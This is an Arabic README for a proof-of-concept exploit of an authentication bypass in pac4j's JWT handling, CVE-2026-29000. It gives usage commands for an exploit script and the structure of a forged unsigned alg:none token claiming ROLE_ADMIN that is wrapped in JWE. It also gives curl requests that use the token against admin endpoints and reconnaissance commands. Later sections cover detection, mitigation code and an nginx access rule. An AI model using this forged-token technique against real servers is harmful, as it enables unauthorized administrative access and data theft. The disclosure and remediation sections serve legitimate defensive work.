CVE-2026-29000: إثبات المفهوم لتجاوز المصادقة في pac4j JWT

إثبات المفهوم لـ CVE-2026-29000 - ثغرة أمنية حرجة في تجاوز المصادقة في تنفيذ pac4j لـ JWT تسمح للمهاجمين بتزوير رموز المدير دون توقيع صالح.

---

⚠️ إخلاء المسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مرخصة فقط. لا يتحمل المؤلف أي مسؤولية عن أي سوء استخدام أو ضرر أو استخدام غير قانوني لهذا الاستغلال.

• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الدول
• يجب على المستخدمين الحصول على إذن كتابي صريح قبل الاختبار
• المؤلف غير مسؤول عن أي عواقب ناتجة عن سوء استخدام هذه الأداة
• هذه أداة بحث أمني وتعليمي - استخدمها بأخلاقية وقانونية

---

📋 نظرة عامة على الثغرة

تستغل هذه الثغرة خللاً في آلية مصادقة JWT في pac4j حيث تقوم المكتبة بما يلي:

1. تقبل الرموز غير الموقعة مع alg: "none" في رأس JWT
2. تثق في الرموز المغلفة بـ JWE دون التحقق بشكل صحيح من توقيع JWT الداخلي
3. تسمح برفع الصلاحية من خلال المطالبات المخصصة في الحمولة غير الموقعة

يمكن للمهاجم صياغة JWT غير موقع مع مطالبات عشوائية (مثل role: "ROLE_ADMIN")، وتشفيرها في حاوية JWE باستخدام المفتاح العام للخادم، والحصول على وصول غير مصرح به إلى وظائف المدير.

---

🎯 المتطلبات الأساسية للاستغلال الناجح

متطلبات جانب الخادم

لكي ينجح هذا الاستغلال، يجب أن يستوفي الخادم الهدف جميع الشروط التالية:

1. نقطة نهاية JWKS قابلة للوصول

يجب أن يعرض الخادم مفاتيحه العامة عبر إحدى هذه النقاط النهائية:

• /.well-known/jwks.json (نقطة نهاية OAuth/OIDC القياسية)
• /api/auth/jwks (نقطة نهاية مخصصة)

السبب: يقوم الاستغلال تلقائياً بجلب المفتاح العام للخادم لتشفير رمز JWE المزور.

2. قبول مطالبة ROLE في JWT

يجب أن يقوم الخادم بما يلي:

• قبول ومعالجة مطالبة role في حمولة JWT
• أن يكون لديه على الأقل مستوى صلاحية واحد يمنح وصولاً متزايداً (مثل ROLE_ADMIN)
• عدم التحقق من توقيع JWT أو السماح بالرموز غير الموقعة

الأدوار الشائعة:

• ROLE_ADMIN - وصول إداري كامل
• ROLE_USER - وصول مستخدم قياسي
• أدوار مخصصة حسب التطبيق

3. معالجة رمز JWE

يجب أن يقوم الخادم بما يلي:

• قبول الرموز المشفرة (JWE) كمصادقة صالحة
• فك تشفير ومعالجة JWT الداخلي غير الموقع
• عدم التحقق من توقيع JWT الداخلي أو التحقق من الخوارزمية

4. تكوين pac4j ضعيف

يجب أن يستخدم التطبيق pac4j مع:

• خوارزمية مضبوطة على "none" أو التحقق غير كافٍ من الخوارزمية
• تمكين تشفير JWE ولكن تعطيل التحقق من التوقيع على JWT الداخلي
• عدم وجود تحقق إضافي من الرمز بخلاف فك تشفير JWE

---

🛠️ التثبيت

المتطلبات

• Python 3.7+
• الحزم المطلوبة: requests, jwcrypto

الإعداد

# استنساخ المستودع
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# تثبيت التبعيات
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

---

🚀 الاستخدام

الاستخدام الأساسي

python3 exploit.py <TARGET_URL>

مثال:

python3 exploit.py http://vulnerable-app.local:8080

سيقوم السكربت بما يلي:

1. محاولة جلب JWKS من النقاط النهائية القياسية
2. إنشاء JWT غير موقع مع role: "ROLE_ADMIN"
3. تشفيره باستخدام المفتاح العام للخادم
4. إخراج رمز JWE جاهز للمصادقة

الخيارات المتقدمة

اسم مستخدم مخصص

python3 exploit.py http://vulnerable-app.local:8080 --username john

دور مخصص

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

توفير JWKS يدوياً

إذا كانت نقطة نهاية JWKS غير متاحة للجمهور، قم بتوفير JWK يدوياً:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

مثال كامل مع جميع الخيارات

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

---

📤 استخدام الرمز المُنشأ

يقوم الاستغلال بإخراج رمز JWE بالتنسيق التالي:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

إجراء طلبات مصادقة

استخدم الرمز في طلبات HTTP للوصول إلى النقاط النهائية المحمية:

# باستخدام curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# باستخدام طلبات Python
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

مثال لطلب مع رأس التفويض

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

---

🔍 كيف يعمل الاستغلال

الخطوة 1: إنشاء JWT غير موقع

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # اسم المستخدم
    "role": "ROLE_ADMIN",        # مستوى الصلاحية
    "iss": "principal-platform", # المصدر
    "iat": 1234567890,          # وقت الإصدار
    "exp": 1234571490           # وقت الانتهاء (ساعة واحدة)
}

يتم إنشاء JWT بدون توقيع (alg: "none")، وهو أمر غير صالح عادة ولكن يتم قبوله من قبل الخوادم الضعيفة.

الخطوة 2: جلب JWKS الخاص بالخادم

يقوم الاستغلال بالاستعلام عن:

1. /.well-known/jwks.json (قياسي لـ OAuth/OIDC)
2. /api/auth/jwks (نقطة نهاية مخصصة)

يؤدي هذا إلى استرداد المفتاح العام RSA للخادم اللازم للتشفير.

الخطوة 3: تشفير JWT كـ JWE

يتم تشفير JWT غير الموقع باستخدام:

• الخوارزمية: RSA-OAEP-256 (تشفير غير متماثل)
• التشفير: A128GCM (تشفير مصادق)
• المفتاح: المفتاح العام للخادم (يمنع العبث)

يؤدي هذا إلى إنشاء رمز JWE يمكن للخادم فك تشفيره لكنه لن يتحقق من التوقيع الداخلي.

الخطوة 4: استخدام الرمز

يتم تضمين رمز JWE في رأس Authorization:

Authorization: Bearer <JWE_TOKEN>

يقوم الخادم الضعيف بفك تشفيره واستخراج JWT غير الموقع، ويثق في المطالبات دون التحقق من التوقيع.

---

🔐 سلسلة الثغرة

Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

---

⚠️ الكشف والمؤشرات

مؤشرات جانب الخادم للثغرة

1. تعرض نقطة نهاية JWKS

   • تحقق مما إذا كان /.well-known/jwks.json أو /api/auth/jwks متاحاً للعامة

2. سجلات التحقق من JWT

   • ابحث عن سجلات تقبل الرموز مع alg: "none"
   • تحذيرات حول قبول الرموز غير الموقعة

3. مراجعة التكوين

   • تحقق مما إذا كان التحقق من التوقيع في pac4j معطلاً
   • تحقق من إعدادات فك تشفير JWE

مؤشرات الشبكة

# الاستطلاع
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# تحقق مما إذا كانت رموز JWE مقبولة
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

---

🛡️ التخفيف والإصلاح

للمطورين الذين يستخدمون pac4j

1. فرض التحقق من التوقيع

   // سيئ - يقبل الرموز غير الموقعة
   JwtAuthenticator jwt = new JwtAuthenticator();
   jwt.setAlgorithm(null); // ❌ ضعيف
   
   // جيد - يتطلب توقيعاً صالحاً
   JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
   jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ آمن
   

2. التحقق من خوارزمية JWT

   • لا تقبل أبداً alg: "none"
   • قم بإدراج الخوارزميات المسموح بها (مثل RS256, HS256)
   • ارفض الرموز ذات الخوارزميات غير المتطابقة

3. تعطيل JWE إذا لم يكن مطلوباً

   • إذا كانت المصادقة تتطلب JWT فقط، قم بتعطيل تغليف JWE
   • إذا كان JWE مطلوباً، تحقق من توقيع JWT الداخلي بشكل مستقل

4. تحديث pac4j

   • طبق التصحيحات الأمنية
   • قم بالتحديث إلى إصدار يكون فيه التحقق من التوقيع مفعلاً افتراضياً

5. إضافة طبقات تحقق من الرمز

   • تحقق من انتهاء صلاحية الرمز (مطالبة exp)
   • تحقق من المصدر (مطالبة iss)
   • قم بمقارنة الأدوار بقاعدة بيانات موثوقة

لمسؤولي الأنظمة

1. تقييد الوصول إلى نقطة نهاية JWKS

   location /.well-known/jwks.json {
       allow 10.0.0.0/8;  # الشبكات الداخلية فقط
       deny all;
   }